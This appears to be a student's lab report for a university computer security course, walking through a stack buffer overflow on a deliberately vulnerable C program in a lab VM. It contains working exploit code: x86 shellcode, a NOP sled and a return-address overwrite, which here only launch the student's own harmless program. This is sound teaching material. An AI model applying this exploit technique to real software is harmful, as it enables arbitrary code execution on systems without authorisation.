CS547-Foundation of Computer Security

Assignment 1

Name: Chandrawanshi Mangesh Shivaji
Roll No.: 1801cs16
Filename: README.pdf
Date: 04 Feb 2022

Initial Setup

Turn off Address Space Randomization

```
[02/04/22]seed@VM:~/.../Security Ass 1$ sudo sysctl -w
kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

The StackGuard Protection Scheme and Non-Executable Stack

Both these will be applied or not applied (according to the task requirements), while compilation of the program.

Program to run using buffer overflow : mangesh.c

```c
// Assignment #1: mangesh.c
#include <stdio.h>
#include <time.h>
#include <assert.h>

int main( int argc, char **argv )
{
    printf("\n****************************************\n");

    printf("\nMangesh Chandrawanshi");
    printf("\nCS547-Foundation of Computer Security\n");

    time_t t = time(NULL);
    struct tm *tm = localtime(&t);
    char s[64];
    assert(strftime(s, sizeof(s), "%c", tm));
    printf("%s\n", s);

    printf("\n****************************************\n");

    // Return everything is OK
    return( 0 );
}
```

Compile and create a object file :

```
[02/04/22]seed@VM:~/.../Security Ass 1$ gcc -o manges m
angesh.c
[02/04/22]seed@VM:~/.../Security Ass 1$
```

Shellcode

```c
#include <stdio.h>

int main()
{
	char *name[2];
	name[0] = "./manges";
	name[1] = NULL;
	execve(name[0], name, NULL);
	return 0;
}
```

The shellcode which I have used is the assembly version of this program.

```
[02/04/22]seed@VM:~/.../Security Ass 1$ gcc shellcode.c

shellcode.c: In function 'main':
shellcode.c:8:2: warning: implicit declaration of funct
ion 'execve' [-Wimplicit-function-declaration]
  execve(name[0], name, NULL);
  ^
[02/04/22]seed@VM:~/.../Security Ass 1$ ./a.out

*****************************************


Mangesh Chandrawanshi
CS547-Foundation of Computer Security
Fri Feb  4 20:28:11 2022

*****************************************
```

Note : All the work is done on Ubuntu 16.04 (32 bit) system on Oracle Virtual Box

The Vulnerable Program : testme.c

```
// Assignment #1: testme.c
#include <stdio.h>
#include <string.h>

int exploitable( char *arg )
{
    // Make some stack space
    char buffer[10];

    // Now copy the buffer
    strcpy( buffer, arg );

    printf( "The buffer says .. [%s/%p].\n", buffer, &buffer );
    // Return everything fun
    return( 0 );
}

int main( int argc, char **argv )
{
    // Make some stack information
    char a[100], b[100], c[100], d[100];
    // Call the exploitable function

    char str[505];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 505, badfile);

    exploitable(str);

    // Return everything is OK
    return( 0 );
}
```

Exploiting the vulnerability :

Compile testme.c program including the execstack and -fno-stack-protector options to turn off the non-executable stack and StackGuard protections.

```
[02/04/22]seed@VM:~/.../Security Ass 1$ gcc -g -o testm
e -z execstack -fno-stack-protector testme.c
[02/04/22]seed@VM:~/.../Security Ass 1$ 
```

Debug stack to get location of RA

```
[02/04/22]seed@VM:~/.../Security Ass 1$ gdb ./testme
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
```

```
gdb-peda$ b exploitable
Breakpoint 1 at 0x80484c1: file testme.c, line 11.
gdb-peda$ r
Starting program: /home/seed/Desktop/Security Ass 1/te
tme
```

```
gdb-peda$ p &buffer
$1 = (char (*)[10]) 0xbfffe996
gdb-peda$ p $ebp
$2 = (void *) 0xbfffe9a8
gdb-peda$ p 0xbfffe9a8 - 0xbfffe996
$3 = 0x12
```

$ebp = 0xbfffe9a8
&buffer = 0xbfffe996
$ebp- &buffer = 0x12 = 18(in decimal)

RA (return address) is at ebp + 4, RA is (18 + 4) bytes from the buffer.

After determining the return address, we replace the return address by ebp + offset where offset can be any value that will map it to the address containing NOP instructions that will eventually lead to the address containing shell code **(resulting value should not contain any 0 bytes as it leads to program termination)**. Copy the shellcode at the end of the buffer.

Newly created exploit program : exploit.c
Compile exploit.c and execute it

It is used to create the string argument which we will pass to the buffer string in the vulnerable program. It will create a badfile and write into it the value. This value contains a return address pointing to the entry point of malicious shellcode(one of NOP instructions) and shellcode at the end.

```c
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0"
    "\x50"
    "\x68""nges"
    "\x68""./ma"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80"
;

int main(int argc, char **argv)
{
    char buffer[505];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 505);

    /* Fill the return address field with a candidate
    entry point of the malicious shellcode */
    *((long *) (buffer+22)) = 0xbfffe9a8 + 0x88;

    /* Place the shellcode towards the end of the buffer by using
    memcpy function */
    memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 505, 1, badfile);
    fclose(badfile);
    return 0;
}
```

```
[02/04/22]seed@VM:~/.../Security Ass 1$ gcc -o exploit
exploit.c
[02/04/22]seed@VM:~/.../Security Ass 1$ ./exploit
```

#Run testme to achieve our objective :

i.e. execute program mangesh.c which we created at the start to execute using the vulnerability in the testme.c

```
[02/04/22]seed@VM:~/.../Security Ass 1$ ./testme
The buffer says .. [��������������������������0������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
�����1�Phngesh./ma��PS�
                        /0xbfffe9f6].

****************************************


Mangesh Chandrawanshi
CS547-Foundation of Computer Security
Fri Feb  4 20:54:49 2022

****************************************
```

So, we can see that all the details required are printed using the buffer overflow vulnerability. The stack diagrams before and after the attack are at the end of the report. Order of Printed strings are

> **Name of student**
> **Class/Course Name**
> **Date and Time in IST**

Creation and Execution of Makefile :

Makefile | testme.c | mangesh.c | exploit.c | shellcode.c

```
default:
    gcc -g -o testme -z execstack -fno-stack-protector testme.c
    gcc -o manges mangesh.c
    gcc -o exploit exploit.c
    ./exploit
    ./testme
```

```
[02/04/22]seed@VM:~/.../Security Ass 1$ make
gcc -g -o testme -z execstack -fno-stack-protector test
me.c
gcc -o manges mangesh.c
gcc -o exploit exploit.c
./exploit
./testme
The buffer says .. [����������������������0������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
�����1�Phngesh./ma��PS�~˥
                        /0xbfffe986].

*****************************************
```

```
Mangesh Chandrawanshi
CS547-Foundation of Computer Security
Fri Feb  4 21:36:44 2022

*****************************************
[02/04/22]seed@VM:~/.../Security Ass 1$
```

Note : Though makefile is created to compile & execute all programs at once it will most likely not work on other machines as the stack layout and address of the concerned parameters differ as we change the system So to test it is best to follow the approach mentioned in the report.

Stack at various points during the course of attack

Stack before strcpy for buffer **Stack after the buffer copy**

High Address

…	….	….
…	….	….
MAIN	MALICIOUS	MALICIOUS
STACK	SHELLCODE	SHELLCODE
FRAME	NOP	NOP
…	NOP	NOP (NRA points here)
…	NOP	NOP
arg (pointer)	NOP	NOP
Return address	New Address	New Return Address (NRA)
Previous Frame Pointer	NOP	NOP
buffer[9]	NOP	NOP
…	NOP	NOP
….	NOP	NOP
….	NOP	NOP
buffer[0]	….	….
	….	….

Low Address

Copied Content into buffer

EOF